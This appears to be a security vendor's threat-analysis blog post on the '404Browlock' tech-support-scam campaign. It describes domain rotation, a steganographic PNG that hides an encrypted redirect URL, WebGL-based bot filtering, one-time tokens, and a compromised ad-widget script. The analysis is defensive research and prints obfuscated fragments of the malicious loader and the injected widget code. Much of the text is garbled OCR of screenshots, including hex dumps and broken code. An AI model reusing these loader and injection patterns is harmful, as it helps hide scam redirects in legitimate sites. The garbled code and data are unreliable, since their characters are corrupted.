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Update [01-27-2020]: Shortly after this blog was published we noticed that a large part of the
infrastructure behind this browlock was taken down. The malicious server responsible for
redirections is no longer responding and we have not observed any new live browlock from
this 2 year old campaign.

In the early days, practically all tech support scammers would get their own leads by doing
some amateur SEO poisoning and keyword stuffing on YouTube and other social media
sites. They’d then leverage their boiler room to answer incoming calls from victims.

Today, these practices continue, but we are seeing more advanced operations with a clear
separation between lead generation and actual call fulfillment. Malvertising_campaigns and
redirections from compromised sites to browser locker pages are owned and operated by
experienced purveyors of web traffic.

There is one particular browser locker (browlock) campaign that had been eluding us for
some time. It stands apart from the others, striking repeatedly on high-profile sites, such as
the Microsoft Edge Start page, and yet, eluding capture. In addition, and a first to our
knowledge, the browser locker pages were built to be ephemeral with unique, time-sensitive
session tokens.
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In November 2019, we started dedicating more time to investigating this campaign, but it
wasn’t until December that we were finally able to understand its propagation mechanism. In
this blog, we share our findings by documenting how threat actors used targeted traffic-
filtering coupled with steganography to create the most elaborate browser locker traffic

scheme to date.
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A well-documented history

There are many public reports about this tech support scam affecting users with the same
red screen template. Contrary to what some people have posted online, this is not malware,
and computers aren’t infected. It is simply what we call a browser locker, or browlock for
short, a social engineering_technique that gives the illusion of a computer virus and scares
people into calling a toll-free number for assistance. Here are some examples:

One lengthy and epic forum thread on Microsoft’s forums describes how this browlock
campaign has been afflicting the Microsoft Edge start page and even left Microsoft engineers
puzzled as to where, exactly, it came from:

We do quite a bit of work to scan the ads we get from our exchanges, but some
behave differently for certain users than they do when we do our scanning. In the
future, please continue to submit feedback so we can narrow the scans on our end and
potentially reproduce and remove this once and for all.
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This is noteworthy for a couple of reasons: First, it is quite daring to push your browlock right
on Microsoft’s own start page. Second, a large part of the targeted audience for tech support
scams are going to be people that use Windows’ default browser and start page. To this day,
this campaign is still active on the MSN portal.

This browlock was also found on many other large sites, including several online newspaper
portals. For a campaign to run with such a wide distribution and for this length of time is
unheard of, at least when it comes to browser lockers.

Cat-and-mouse game

Each victim report we received was more or less the same. A user would open up the MSN
homepage or perhaps be browsing a popular tech portal, when all of the sudden their screen
would turn red and display a warning message similar to the one shown below:

m| ‘—ﬁl 2 Microsoft Edge X |+ v - o

<« — O @ @ | httpsy//gentlemouthed.xyz/en/?search=2%80%0EL %884 3&list=200000 m % = I »

Windows Security

ol Microsoft Edge
L4 Windows Defender Browsel

The server gentlemouthed.xyz is asking for your user name and
password.

A Stop code: Microsoft Edge Detect Malware | That server also reports:

Security system has detected the threatening attempt to gain a System_Protect_- PROTECT_ERROR_OxEB3917081

but this dangerous connection was blocked with Firewall and fu :
We strongly d you to perform temporary block of all Contact_Microsoft_Support__+1_(816)_988-4764_Toll-Free. i

security measures.
Despite the timely blocking of the connection, there is still a ser
Please, don t wait to respond, every minute is important! l | ‘
There is possibility that virus already hurt your disks or destroys

It is reason for checking current system security and verifying it
Do not spend your time and immediately call us or contact our

Password ‘

Contact Microsoft Support:
+1 (816) 988-4764

We are waiting for your rapid responce to help you.
Please contact our administration to solve this issue

Call Help Desk:
+1 (816) 988-4764

As we’d go to manually check the page, we would be greeted with a “404 Not Found” error
message, as if it were gone. For this reason, we began calling this campaign the
“404Browlock.” Attempts to replay the browser locker redirection by visiting the same portals
as the victims were also unsuccessful.
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Most, if not all, browlock URLs can be revisited without any special user-agent or geo-
location tricks. In fact, browlocks themselves aren’t typically sophisticated; their only
advantage is they can iterate through hundreds or thousands of different domain names
more rapidly than one can blacklist them.

Mapping the browser locker campaign infrastructure

Despite coming up empty each time, we started to build a list of indicators of compromise
(I0Cs) and did some retro hunting to get a better idea of the scale of this campaign.

Most domain names are registered on the .XYZ TLD (although several other TLDs have and
continue to be used) and named using dictionary words grabbed somewhat alphabetically.

2019-12-06, transfiltration[.]xyz,158.69.0[.]190,AS 16276 (OVH SAS)
2019-12-06, transmutational[.]xyz,158.69.0[.]190,AS 16276 (OVH SAS)
2019-12-06, tricotyledonous[.]xyz,158.69.0[.]190,AS 16276 (OVH SAS)
2019-12-06, triethanolamine[.]xyz,158.69.0[.]190,AS 16276 (OVH SAS)
2019-12-06, trigonometrical[.]xyz,158.69.0[.]190,AS 16276 (OVH SAS)
2019-12-06, trithiocarbonic[.]xyz,158.69.0[.]190,AS 16276 (OVH SAS)

The threat actor hosts, on average, six domains on each VPS server, and then rotates to
new ones when they are burned. After retro hunting back to June 2019, we collected over
400 unique IP addresses.
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® ] b ]
. L ..
'...... ®e 0 “ell® .-'.:oo
° A S T Y
... . . .... .......‘......'. bl
. . . °
... ..... _ o ® o . Btmgaltiinie LS e s e
° 0 o Cet0,00 % 00%0% 0,0 0
. . . . . ....‘.......-.‘.... e [ ]
® e L ] S o0 ®® e 0o e .'.l..-
®e ®e o L o® ® o 0®0%%0 000 g% % e
o @%ce0 2000 iesllilsialileiisent
o 2.8 @F o0 -l SITTIII
‘o @00 0, [iiuaiiail
e ® 0_"0 L e s Rt e %’
o°*ee o So° Celnissnie
® ® ® ® ® .............'..........
LX) @ so  ouLSidnIimSiiil.
T XY P 00 lersltlesnleliiiaiiee,
e 0 . .
@ o agten® g 0%, L
... ® .. o9 -'..'l.'.‘.".'..:".
.. o ® o 0w P ® e " @
® 9 ... o9 -~ '."'oo.t.' i
o o o oL ® PR a8 LIRS *
®eoo ... L Yo L LA R
. ] .
1P Ay L B
. [ ] ® [ ] . ® . . - ks ot L] . Il IPv4 Address
°® B Domain *® o e o e

s

Looking at additional data sources, we can see that this browser locker campaign started at
least in December 2017. At the time, the infrastructure was located on a different hosting
provider and domains used the .WIN TLD.

Even back then, visiting the browlock URL directly (without proper redirection) would also
result in a 404 page.
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https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/01/graph_view.png
https://urlscan.io/result/a2bfde06-f024-4e8d-9a5f-209aa47d7b99/
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@ 0ba127855505.win - urlscanio X +

&« 6] & urlscan.io/result/a2bfde06-f024-4e8d-9a5f-209aa47d7b99/ Ww ™ (2]

IMApPI  @live @ About

O urlscan.

frHome  QSearch 2 Login 49) SecurityTrails

O0bal127855595.win
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URL: http://0ba1278555%95.win/en/report php?id=%C5%C6%28%A7 %2 3%8C% 8% DF%D2@)%80%14%FDo%B8%F 7% FF%BC%EB% 9636E
4% CF&nysynz=vbhrbs
I Submission: On December 07 via manual [December 7th 2017, 9:18:42 am) from USEI

ASummary FHTTP 1 WBehaviour €*loCs | & Similar EDOM [ Content ERAPI

Screenshot

284 Kot Found

Summary

This website contacted 11Psin 1 countries across 1 domains to perform 1
HTTP transactions.

The main IPis 5.101.40.74, located in Russian Federation and belongs to
HOSTKEY-AS, NL. The main domain is Obal27855595.win.

This is the first time this domain was scanned on urlscan.io!

Verdict:

Google Safe Browsing: @ Clean

Additional live information

& Detected technologies
g PHP
& Nginx

Domain & IP information

IP/ASNs IP Detai (Sub)Domains Domain Tree Links

One lone artifact, an audio file (help.mp3), was indexed by VirusTotal and can be played
below:

Again based on open source data, we created a rough timeline of the infrastructure the
threat actors abused—from where they were first spotted on Petersburg Internet to moving
briefly to DigitalOcean before settling on OVH from January 30, 2019 onward.
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Steganography to hide redirection mechanism

Given that we couldn’t identify how this browlock was propagating, we figured it must be
using an unconventional trick.

Many of the sites that victims reported being on when the browlock happened contained
videos, so we thought one likely vector could be video ads. This form of malvertising is more
advanced than traditional malicious banners because it enables the crooks to hide their
payload within media content.

Once again, we spent a fair amount of time looking at video ads but still couldn’t identify the
entry point. We switched our search to another type of medium but evidence was shared
with us later on confirming the video ad infection vector.

Coincidentally, we had just been studying some interesting new developments with online
credit card skimmers where malicious code was embedded into image files. This technique,
known as steganography, is a clever way to hide artifacts from humans and scanners.

While developing tools to identify such rogue images, we came across what we thought
might be the smoking gun. We discovered a PNG file that contained obfuscated data.

This time though, if the fraudsters were indeed using steganography, they certainly weren'’t
making it obvious. We identified a malformed PNG file that contained extra data after its end
of file marker and looked suspicious.
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https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/01/timeline_.png
https://www.malwarebytes.com/blog/threat-analysis/2015/11/video-ads-malvertisings-next-frontier/
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! Request ||_§ Response | E| Properties https://apiimagecloudsedo.com/bid/Tggpid=/

Headers TextView SyntaxView ImageView HexView WebView Auth  Caching Cookies Raw  JSON XML

Format: PNG
530 bytes

S x 5h

21.20 bytes/px

96 dpi

Calor: RGB+Alpha Bbits/sample
(Gamma: 0.4546

MALFORMED: 307 bytes after final chunk:.

Scale to fit -

Headers TextView SyntaxView ImageView HexView webView Auth  Caching Cookies Raw  JSON XML

33 30 0D OR OD OR 8% 50 4E 47 OD OR 12 OR OO0 OO0 0D OD 45 485 44 52 00 0O 30 ... BHNG. ... .__. THDE. .
00 05 00 OO0 OO OS5 08B O& 00 OO0 OO0 BD &F 26 E5 OO0 OO0 0O 01 73 52 47 42 00 ... ... ..... 0&&....SRGE.
AE CE 1C E% 00 00 00 04 &7 41 4D 41 00 00 Bl BF OB FC &1 0% 00 00 00 0% Ef-é--.-gﬂﬂﬂ--i--ﬁa _____
70 48 55 T3 00 OO0 QOE C4 00 OO OQOE C4 01 %5 ZB OE 1E 00 00 00 74 45 44 41 pHYs. . A . B _+..... tIDR
54 18 57 01 &% 00 %6 FF 01 E€ D1 C5 FF EB D7 CC 00 Fe 00 07 00 EF E1 08 T-H-i_-f-eﬁif&xi_ﬁ---ié-
00 OB FD 0% 00 04 E1 DT D3 00 04 B2 B4 00 Ok F3 FS 00 C2 20 43 00 1A IC __ﬁ___éxé__“'--éﬁ_i c_.T
23 00 02 FB 1A 2B Q00 EB F5 OE 0D 1C CF E& 00 FB 4C FE 00 7F &8 AB 00 01 $. 4% &8 _I= dLp..h"..
DT B4 AD FF BD C5 F& 00 ED FC 17 00 50 0& 9% 00 2E 47 52 00 02 F& EA ES b inﬁ-iﬁ--P.---GR-.EEE

00 EA E5 F% 00 BE D3 1F 00 21 30 34 00 00 BD BF 00 BEE CT7 2D 5C 7E 54 1B _ééﬁ_iﬁé__lﬂ'l_-‘d__m;—\m__
4F 00 00 00 00 45 45 4E 44 RE 42 &0 82 0OR 40 23 40 25 43 31 25 43 42 2% 0----m‘-.3#@%c1¥ﬂ3%
35 44 25 35 43 25 43 43 25 44 32 70 25 46 34 25 38 46 25 46 34 25 31 30 ED%5CECCED2pEF4%E8F%F4%10
25 35 42 4B 25 35 45 25 43 30 25 3% 36 25 32 36 36 36 25 43 38 33 25 32 %SBE%SERCO%56%2666%CE83%2
33 25 31 30 &B 45 7o 7T 304 30 3L 31 3L L 2@ A1 L 21 22 AR 3] L 32 46 3%10kIp%08%16%BRA%1BE1%2F

25 30 45 51 Te T5 & || 34 30 25 31 R0EQvyiCEF4 )2 COmEEES40%]
46 25 41 43 71 25 4 25 30 32 &B FRACq%FD%CO0%3BQ0%3EED% 02k
25 4% 34 25 42 35 2 31 55 25 45 %F41 iE
44 25 43 43 25 42 3 39 3e 25 38 D%Ci | | &3
36 30 25 43 34 52 2 25 31 35 25 G0% 5%
45 44 25 44 31 25 3 25 42 41 25 ED%] L%

30 30 25 43 3& 25 30 42 31 25 30 31 25 46 36 25 33 41 25 31 41 30 31 25 D0%Ces0BEL®0 1 Fe%3A%TAU]S
30 43 25 41 33 25 44 45 25 31 45 25 41 36 32 25 42 42 25 37 44 25 31 45 OC%RIEDES1ESRG2%BB%TD%1E
25 39 46 25 31 34 25 46 32 25 45 36 25 42 45 25 43 37 59 25 45 43 25 37 E9F:14%F2%EEEBERCTYSECET
44 47 25 44 35 25 33 43 DGEED9%3C

Unlike the aforementioned credit card skimmer, which was clearly visible and recognizable
with obvious character strings, this one looked like it was encoded. And clearly, the image on
its own could not be weaponized without additional code to load with the per-victim unique
key to decrypt it.

Anti-bot and traffic filtering

The JavaScript code that interacted with the PNG image used some light hex obfuscation
and random variable naming to hide its intentions.
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https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/01/PNG_.png
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Munction{e){function r{r){for{var n,i,l=r[@8],f=r[1],a=r[2],c=8,s5=
[15c<l.1length;c++)i=1[c],o0[1]&8s.push{o[i][@]),o[i]=8;for{n in
f)Object.prototype.hasOunProperty.call{f,n)&&(e[n]=Ff[n]);for{p&&p(r);s.length;)s.shift()
{(y;return u.push.apply{u,a||[]1),t() }function £(){for{var e,r=@;r<u.length;r+s}{for(var
t=u[r],n=!8,1=1;1<t.length; l++){var f=t[1];8!==0[fT]8&(n="1) In&&{u.splice{r-
-,1),e=i{i.s=t[@]))}return e}var n={},o={@:0},u=[];function i(r)}{if(n[r])return
n[r].exports;var t=n[r]={i:r,1l:!1,exports:{}};return
e[r].call{t.exports,t,t.exports,i),t.1=!@,t.exports}i.m=e,i.c=n,i.d=function{e,r,t)
{i.o{e,r}||Object.defineProperty(e,r,{enumerable: 18, get:t})},1i.r=function(e)

{"undefined" !=typeof Symbol&&Symbol.toStringTagl&Object.defineProperty(e,Symbol.toStringTag,
{walue:"Module”}),0bject.defineProperty(e,” esModule”,{value:!8})},i.t=function(e,r)
{if(1&r&&(e=1i(e)),88&r)return e;if(4&r&&"object"==typeof e=&&el&e. esModule)return e;var
t=0Object.create{null);if(i.r(t),0bject.defineProperty(t, "default",

{enumerable: !@,value:e}),28r&&" "string" ! =typeot e)for(var n in e)i.d(t,n,function(r){return
e[r]t.bind({null,n));return t},1i.n=function{e){var r=eie. esModule?function{}{return
e.default}:function(){return e};return i.d{r,"a",r),r},i.o=function(e,r){return
Object.prototype.hasOwnProperty.call{e,r)},i.p="/build/" ;var
l=window.webpacklsonp=window.webpackIsonp||[],f=1l.push.bind(1);1.push=r,1=1.s1lig
a=8;a<l.length;a++ir(1[a]);var p=F;t()}([]);function _oEwv{_av){_av=_av-63;c
_av;rifunction _L{_vwDIZ){_vDIZ=_vDIZ+66; vDIZ=58-_vDIZ; vDIZ= oBwv(_ vz
_wDIZ;}; L{26);var _v=self;function _S{_dva){_ dva=_dVa["\x73\xJ0\x6ck I

("= _dVe=_dva["\xEa\xeT"+_mhf+"\x6% \x6e" ] {_mhT);_dva=_w["\ ’
(_dVEj;_dUa=_v[”Kx54"+_mhf+"KxEE\xﬁBKxﬁf"+_mhf+"\x54R165KxSS\xEE"\‘ - " et
x6d\x70"+_mhT+" \x6F \xBe\x65 \ 6 \x74" ]

(_dVa);_dVa=_v[ "'\x73'\x6e"+_mhf+"\u65'\x7] v xHv: Array(3) }. s var
mhf="_ev";try{ a(jjcatch( r){ mhf=""1}; @: "WEBGL_debug_renderer_infol Uiy i_.;_)_" BJOf( K

{var _XHv= 1: "UNMASKED_VENDOR_WEBGL"

[(™\X57\x45\x42 \x47 wdc"+_mhf+"\x5F\x564Y 3+ "UNMASKED RENDERER WEaGL® MR \x64'\x65\x72\x

B5W\x72\ x5\ 68\ xBe \xB6 \xE6 T "+_mhf+""), - -

(W55 h\xde \xdd \ 241\ k53 \xdb\ 245" +_mhT+" \xdd "+ mhf+"\x5F w56\ %45 \xde"+_mhf+" \odd\ "+ _mhT+"\x5
25T AT A5 " +_mhf+"\x42 a7\ x4c™ ),

(W55 xde \xdd\ 241 \x53 " +_mhT+" \x4b' 45"+ mhf+"\ x4 \x5F 52" +_mhf+" a5 xde w44\ w45 +_mhT+"\x5
245"+ _mhf+" W52\ x5\ %57 a5\ x4 2" +_mhf+"\x47\»a4c" )] ; function _uwE{){var _C=(""}, o=

[ AL VAT DO R S T_MNT T R T F L ROT nmD T T_MNTT WA AL wns S T_MNT T wiod T_mhT T wAee T
mhf+" W wAT ARV whA kAR %A "+ mhfe™ % Ta ¥ TR A3V WTAE"E mhf+" xR\ xGetwhid™ ). 452 ol (" \wAriwAS\xAe

The hex string x67x45x42x47x4c decodes to WEBGL, and by decoding the rest of the
obfuscated variable, we can see that this script is using

the WEBGL_debug_renderer_info API to gather the victim’s video card properties. This
allows the threat actors to sort real browsers (therefore real people) from crawlers or even
virtual machines, which would not show the expected hardware information.

The Zirconium group’s vast malvertising operation, disclosed in January 2018 by Jerome
Dangu over at Confiant, also used that same API to filter traffic.

But perhaps the most interesting function within this JavaScript snippet is the one that
processes the actual PNG image behind the steganography. The _Nux function parses the
image data by using the @#@ delimeter (as seen in Figure 8 above) and stores it within
the OIEq variable.
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https://developer.mozilla.org/en-US/docs/Web/API/WEBGL_debug_renderer_info
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96; indx++)
K _E[i + HNeh[{
= E[indx], E[indx] = _

_Ka, Nux)

If the user is detected as a bot or not interesting traffic, the PNG does not contain the extra
data after the IEND end of file marker, and therefore the _ O/IEq variable will be empty.

£ Request | ¥ response | E] Properties https://api.imagecloudsedo.com/bid/?, =

Headers | TextView | SyntaxView | ImageView | HexView |webView | Auth | Caching | Cockies | Raw | JSOM | XML

Wlaluulu 85 50 4E 47 0D Q4L 1A OA OO OO OO OD 45 48 44 52 00 0O BHG. Lo THDE. - a
ooo00012 o0 05 00 OO0 00 05 OB O€& OO0 OO 00 BD &F Z& ES OO0 00 OO0 ... _.._._._. oka. ..
0oo0000Z4 01 73 52 47 42 00 RAE CE 1C ES 00 00 00 04 &7 41 4D 41 .SRSB.@i.é....gMﬂL
Q000003 o0 00 B1 BF OB FC €1 05 00O 0O OO0 O% 70 48 5% 73 00 00O R S - - I pHYs._

OE C4 00 00 OE C4 01 55 2E OE 1B 00 00 00 74 45 44 41 N S S tIDA
54 18 57 01 €% 00 5¢& FF 01 E& D1 C5 FF EE D7 CC 00 F& T _W-i. .j*_&ﬁiféxi.ﬁ

000 & o0 07 00 EF E1 08 OO0 OB FD 0% 00 04 E1 D7 D3 00 04 BZ .._j'_é.___j‘__.é.u-fl..‘

DoO0TE E4 00 OR F3 F5 00 CZ 20 43 00 12 DC Z3 00 0OZ FE 1A 2R QT 15 T W o - -

o050 00 Eg F: OE 00 1C CF E€ 00 FBE 4C FE 00 TF &8 LB 00 01 .éﬁ...i-a:—.ﬁL]::u..h"..
0O0000AZ 07 B4 a0 FF BD C:5 F& 00 ED FC 17 00 50 0& 5% 00 2E 47 x iﬂziﬁ.iﬁ..P....G
0o0000E4d 52 00 02 Fe EL ES5 00 EA ES5 F3 00 BE D3 1F 00 21 30 34 R__&&a_&én_u0__104
OO0000CE o0 00 BD BF 00 EE CT ZD 5C TE %4 1E 4F 00 00 00 00 4% ..H..»;—"-,-v..-:l....ll

0008 45 4E 44 RE 42 &0 BZ ENDEE " .
223 [0xdf] of body Readonly

The function still attempts to parse the PNG, but it will fail on the eval, and will not generate
the browlock URL. The user, not being considered a proper candidate, will not be redirected
and won'’t even be aware of the fingerprinting that just happened.
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https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/01/function.png
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TGPNG <0< IHDR O OO0 o4 OsRGE €€0¢ DgiM: €90e:0 pHY s

WKBCHHED" + _mhf + "\x74") I ((Mxdat + _mhf o+ "x230x48m) ) [ex1]; |_pIEq = u1de+iﬂe:|

Wibehxed” + _mhf + "\x65" + _mhf + "\x66\x69\u6e\xE5" + _mhf + "\x64")) {

undefined

_E[_ _OFv;
for {_OFv = (-83 + B3); _OFv < (166 + 98); _OFw++)

_j5 = _E[_OFw],
_E[_OFv] = _E[ o],
_E[_o] = _35;
_OFv = (-83 + 83),
_o = (-83 + 83);
fo r_PM = (-83 + 83); _PM < _C[({"'\®BC\KES\KEe\KET \XTL\HBE")]; _PM++)
o=1{ o+ F[OFy = ( 0OFv + @x1) ¥ (166 + 98)]) % (166 + 98),

_j5 = _E[_OFv],

_E[_OFv] = _E[_ o],

]
[

_E[_o] = _i5,
_KbMD += String[ {"WxEE\XT72\MEF \x6d w43\ BB WAL\ T 2\ K43\ N6\ B4\ MES" + _mhF + "")1(_CL{"\x63"
return _KbMD
'}_
[Beval(®_utf(_h + _iQ, Bunescape( OIEQ  Wtf = undefined, OIEq = undefined|
} else {}
} else {}

3 elca {3

“Nux = function{ B) { _B = "®@PNG 202  INDR 0O LOL 0% LsRGE ©9L€ LzANi @O0l pHYs D@

= (-83 + 83), _KbMD = (""), _OFv = (-83 + 83); _OFv < (166 + 98); _OFv

o= { o+ E[_OFv] + MNeh[(™\x63" + _mhf + "\x68" + _mhf + "\ 61\ xT24x43\xEF \x64\ K65\ %41\ %7

This kind of filtering is not usually seen (except for advanced malvertising operations), which

is one of the reasons why so many victims have experienced this browlock, yet little is known

about it.

Anti-replay mechanism

The next evasion technique is intended for security folks, and those trying to troubleshoot
these malicious redirections. A network traffic capture (SAZ, HAR) must include the
malicious JavaScript, as well as the steganographic PNG and the browlock itself.

Host URL Body Content-Type Comments

150,321 text/html; charset=... Compromised site
.js 14,313 application/javascript Injected 15

m Ljs 91,960 application/javascript Injected 1S
api.imagecloudsedo.com /bid/?ggpid= 530 image/png Steganography
dacryocystalgia.xyz [fen/?search= 97,690 text/html; charset=... 404Browlock
duckduckgo.com [if3493d183.png 31,955 image/png Chrome image

Similar to a technique we’ve previously only observed with exploit kits, the threat actor is
using one-time tokens to prevent “artificial” replays of the redirection mechanism. If the
proper session key is not provided, the decryption of the PNG data will fail to produce the
browlock URL.
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https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/01/empty_data.png
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var _5g = {("") + _B; _Sg = "@PNG L0 IHDR O ooo GoiG OsRGE €906 CgAMA
var _0IEq = B_Sg[{"\73 7@ \x6c\xe9" + _mhf + "\x74" 1] {("\x28" + _mhf + "'\x23\x48"))[8xl];
if {_OIEq !== ("‘\®Be\xT75\x6cC\x6c")) {
if (typeof _0IEQ != ("x75\xf2'x64" + _mhf + "\x65" + _mhf + "\KEEYMEIWKES\KES" + _mhf + "x64")) {
if (_0IEq !== ("")) {
function _wtf{ Neh, C) { _ut

undefined
_E[_OFv] = _OFv;
for (_OFv = (-83 + 83); _OFv < (166 + 98); _OFv++)

_js = _E[_OFv],
_E[_OFv] = _E[_ol,
_E[_o] = _35;
_OFy = {-83 + 83),
_o = (-83 + 83);
for {var _PM = (-83 + 83); _PM ¢ _CL("\XECH\MES\MEE\HET \NTANHEE" )]s _PM++)
o= {_o+ _E[_OFv = (_OFv + 8x1) ¥ (166 + 98)]) % (166 + 9@),
_j5 = _E[_OFv],
_E[_OFv] = _E[_o],
_E[_o] = _35,

return _KbMD

_Hux = function{_B) { _B = "#PNG <0< IHDR O COCC  4ole CsRGE @€ € LCgAMA e@leal pHYs O

_0OIEq "%C1%C63

for {var _j5, _E =[], _o = (-83 + 33}, _KbMD = (""}, _OFv = (-83 + 83); _OFv < (166 + 98); _|

o= {_o+ E[ OFv] + _Meh[("\x63" + _mhf + "'x68" + _mhf + "\ xB1\x72\ a3\ wEF e\ a5 x4l

_KbMD += String[ (" \x66\x72\H6F \xad \ ¥4 3\ KE8 \ B\ KT 2\ a3\ X6\ KB4\ 65" + _mhf + "")](_C[{"x

O

4|

&

T ® vlUncaught SyntaxError: |[Invalid or unexpected tokenf |
Peval(p utf(_h + _iQ, Punescape(_0IEg))) at _Nux ( Ljs:formatted:206)
T else {} at XMLHttpRegquest.AJAXRequest._OeBn.<computed:
2 1c S

Once again, we must pause for a moment and note that this kind of complexity is unheard of
for something like a browser locker. While cloaking techniques are common, this is by far the

most covert way we’ve seen to redirect to any browlock.

Other traffic chains

After we had discovered the PNG redirection mechanism, we shared our findings with
security firm Confiant. They were aware of the domain api.imagecloudsedo[.Jcom but had
seen it in a different campaign. Confiant nicknamed it WOOF due to a string of the same
name found in the code.
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https://www.confiant.com/

= WOCfpayload-5ep2019js E9

Additionally, Google, via Confiant’s intermediary, shared yet another instance that explains
the number of redirections from newspaper sites we had been seeing. This second instance
of the WOOf script was loaded via video widgets.

Digital Media Communications, a company that specializes in ads converted into widgets for
the web, was apparently compromised several months ago. According to data collected by
the Internet Archive, one of their scripts hosted

at widgets.digitalmediacommunications|[.Jcom/chosen/chosen.jquery.min.js was injected

on August 13, 2019.
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https://www.malwarebytes.com/wp-content/uploads/sites/2/2020/01/WOOf_script.png
https://digitalmediacommunications.com/
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dgets.digitalmediacommunications.com/c

https:/iwidgets. digitalmediacommunications.com/chosen/chosen jquery. min js |[Go | JUL Euel SEP
1.136 cagtures 4 13 >
- . R “--H.“ i‘h| 2018 ikl

_EWaF){_EWaP= EWaP-37:;return _EWaPF:}:function _r(_ua){_ua= WOOLf(_ua)+_ua:_uas=_ua+20;
if (94== ma)_ua= ua+25;return _ua;};_r(56);var _IJ=self:;var _uCa=function(_dcN){_dcN= dcN["\x73\xTO\x6c\x63\xT74"] ("*");
dcH= ch["\xGa\fo\qu\XSE"]( _mg) ;_dcl= Iu["\xsl\xqﬁ\xsf"+ _mg+"hx&2"] (_dcN) ; ch— IJ["WX64%WXE5"+_mg+"\X63\XEL"+_mg+"
kB4 Hq+"\x65\x55\x54\x4Q\x43\x6f\x6d\x”ﬁ\xﬁf\xﬁe"+ - mg+"\KES"+ Hq+"\x6e\x”4"]( chl, _deN=_IJ["\xT5\x6e"+ mg+"\x65\x73
WREINKEL"+_mg+"hxTONRE5"] (_dcM) rreturn _deN:}rvar _mg="_dZzr";try{_ CR()lcatch(_LsH){ Hq="" ;function _MONT () {function
_aD{){function _kx(_ Ybal{var —[("\x5”\x45"+ Hq+"\x44\x4”\x4c\x5f"+ Hq+"\x64"+ Mg+ RES\RE2AKTEARET "+_mg+"\x5E\xT2
WHESWHES\HEL"T+ Hq+"\x65\x’2\x65\x”""+ _mg+"\x5E\xE9\x6e\x66\XEE"), ("\x55\x4e\x4d"+ mg+"\x41\x53"+ mg+"\x4b\x45\x44\x5F
Ax564x45"+ mg+"\x4e x4\ x4\ k52N x5ENR5T\x45\x42\x4T \x4c") , ("\x55\x4e x4d\x41\x53 \x4b\x45\x44\x5E"+ mg+"\x52\x45
Nx4e"+ Hq+"\x44\x45\x52"+ - mg+"\x45\x52\x5E\x5T"+ mg+"\x45\x42\x47"+ mg+"\x4c"+ mg+"")];function _JhLK() {var
z=(""), tUV={"\xTI\xTT7"+ mg+"\x&65\xT2\xT4\xTO\XT5"+ mog+"\x60\x6E\xTO\KE1\XT3\x64\x66"+ Hq+"\x6”\x6 \x6ahxEb"+ mg+"
\x6c\x”a\x”:\x63\x“6"+ Hq+"\x64\x6e\x6d"|, wE= tJ\[("\xﬁc\xﬁS\xSe\xs”\x”Q\xs ")1-0x1;for(_u=(-26+26);
u<0x5;++ ujposition=Math[ ("\XE6E\REC"+ nq+"\x6f\x6f\x“""+ - mg+"") ] (Math[ ("\xT2\x61"+ mg+"'\x6e\x64"+ mg+"\x6£4\xed") ]
(J“ vGE),_z+=_tUV[("\XT3\xT5"+ mg+"\x62"+ mg+"\xT73\xT4\xT72\x69\x6e"+ mg+"\x67"+ _mg+"")] (position,position+0xl) ;return
_z};ar _ﬁqcP;_jth(]:var _uc = K();var _vKE= JhLE():;var _iGf=_ jhLK();var _K= jhLK();var _B= jhLEK():;var _1Wl= jhLK():
function _ECg(_VxG){var _VxG=_VxG:var vE—dcc4ﬂe1t[("\x63\x“""+ Hq+"\x65\x61\x”4\x65\x45\x6c\x65\x6d\x65"+ - mg+"
WRESWKTA") ] ( ("\KEI\xEL\KES\KTEAREI\KTI") ) ; _WE[("WXE"+ mg+"i\XE4") [=_ VG vE[ ("\xTTW\XE3\xE4\XT4\KEE") ]=("\x32\x304x30") ;
_wE[("\xEENRES "+ mg+"\xEINRETAKREEN KT+ mg+"") = ("AKIZ\RI0") ;_wE[ ("\RTINKEE\RT4"+ mg+"\ x4l \xTANRTANKT2\ REI" +_mg+"
WREZ"+ mg+"\RTEAKRTANKES "+ mg+"") ] (("ART3W\xT4\KTO\xEc\xEE"), ("\xEA\KREI XTI+ mg+" \xTO\xEc\RE1\KT I\ x3a \xEe\ X6 E"+ mg+"
hWx6ehx65") ) ;var N=document[ ("\x6T\x65'\xT4 \x45"+ mg+" \x6chxe5\xEd\XE5 \xEe\xT4"+_ma+"\xTI\R42Z\ KT\ 254"+ mg+"\x61\x67T
\x%e\xﬁl\xﬁd\xSS"J](("\xﬁc\xﬁf\xﬁ%\x’Q"JJ[(—46+46]] MI™=x61l\=xT0WxT0"+ mg+"\ =65 \xfe \ x4 \ x43 \xE8\xE9"+ mg+" \xéchxE4") ]
(_VG]}if(dccument[("\xSS\xTE"+_mq+"\x65\x61\x74\x65\;45\x6c\x65\x6d\x65F+_mq+"\x6e\x74"]]((”\x63\x61\x§e\x76\x61\x73"ﬂ
[("xETHxE5\RT4"+ ma+" \ 243\ 6 £\ k62 \xT4\x65\xTE\xT4") ]} {_ECg(_UgoPF);_u;var _y=document[ ("\x67\x65\xT4\x45 \x6c\x65\x6d
WHESNXE2\KT4\K4EZ "+ mg+"WKTINX4E9\X64") ] [ UgoP); isIP= y[("\XE6TL\HRE5\XT4"+ mg+" '\ x43\x6E\x6e\XTE\ 65 \XTE\xT4") ] [ ("\x32
WxE4M) ) vE= ("\x43\x61\x62\KTE+ mg+T\x61\xT3\K20\ x40\ x4d \ R4 T \R20\ K63\ XT 2\ RE5\ K61\ RT 4\ 65\ x 45\ XEC\ 65\ x6d\KXES
hx6eh\xT4"+ mg+"\x20\x3chx32\x2e\x30\x2e\x32\x3e") ;_isIP[("\xT4\x65"+ mg+"\xTE8"+ mg+"\xT4\x42\x61\x73"+ mg+"\x65\x6cC
\x6°\x6e"+_ﬂq+"\x65"]]—("\x”4”+_nq+"\x6f\x“ﬂ"J, isTP[ ("\ k66 \XEE\KAS\KTE") [=("\ k3 1\ x34\xTO\ KT\ X200\ x41\XT2 "+ - mg+"\x69\x61
hWx6c™);_isIP[("\xT4\x65"+ mg+"\xTE"+ mg+"\xT4\x42\x61\xT3"+_mg+"\xE65\x6c\x63\x6e"+ mg+"\x65") ]=("\x61\x6c\xT0
NHEEWHELT+ Hq+"\x62"+ Hq+"\x65\x“4\x6°\x63"+ - mg+"") ; 15IP[("\x66\x6°\x6c"+ Hq+"\x6c"+ Hq+”\x53"+ Hq+"\x”4\x“°
